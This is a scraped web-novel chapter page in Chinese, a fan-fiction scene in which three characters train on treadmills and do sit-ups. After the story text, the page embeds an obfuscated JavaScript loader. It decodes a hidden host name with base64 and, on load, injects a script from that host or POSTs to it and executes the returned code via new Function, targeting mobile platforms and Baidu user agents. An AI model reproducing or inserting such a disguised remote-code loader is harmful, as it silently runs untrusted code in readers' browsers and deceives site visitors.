高博小说网

阅读记录  |   用户书架
上一页
目录 | 设置
下一章

第二十四章 最后的宁静(下)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:辣妹神探(天天影院) 
热门推荐: 长日光yin暗许(1v1 年下)星帝睡前一篇小黄文桃花煞养尊处优的女仆大人

    “一,二,三...”苏晓樯和路明绯在教练的指导下,一呼一吸,苏晓樯短暂在“极点”状态呼吸困难了一阵,但是很快缓了过来,路明绯则比她更好一些,一公里对她毫不费力。

    但是路鸣泽好像一条快要死了的咸鱼,一直艰难地吭哧吭哧,伸长脖子摇头晃脑,整个人都憋得通红。“呼吸,深呼吸,把气吸进肺叶里!”教练仍然在试图指点对方,可是小胖子实在是太虚了,根本无法控制自己的呼吸。

    没过多久,他就左脚绊右脚,脸朝下摔在了跑步机上,如果不是教练及时拉一把,这倒霉小子可能就要把脸摔成烂桃了。但即使这样,他的脚也被滚动的跑步机拖着一直到了边缘,整个人像抻面条一样被抻长了。

    苏晓樯差点笑岔气,而小胖子则坐在一边面红耳赤,不知道是累的还是尴尬的。

    “我说,你中考1000米是怎么过关的啊?”路明绯忍不住吐槽。

    “我高考40分体育才得了20分啊,1000米我才跑了一圈半,裁判就把我清场出去了,说是不要挡住下一队的道儿...最后我0分啊!”小胖子哭丧着脸,说。

    苏晓樯觉得难以置信,“可是问题在于,就连申请免试都有24分啊,你怎么还不如残疾人?”

    小胖子面容委屈,像是下一秒就要哭出来。

    在战斗的过程中,核心力量,也就是腰腹的力量非常重要,如果你想徒手攀爬铁架,最好保证有在脚滑的时候把自己单手提起来的能力。所以接下来,就是腹肌的训练——路明绯想要六块腹肌,但是这对女孩来说很困难。

    “一,二,三...”在软垫上,路明绯双手放在胸口仰卧起坐,脚勾在软垫金属的脚踏板上。和学校的仰卧起坐不同,体育馆里训练时不需要手肘碰到膝关节,只需要起来大概1/3到1/2的角度就可以,据说这样能避免损伤脊椎。

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间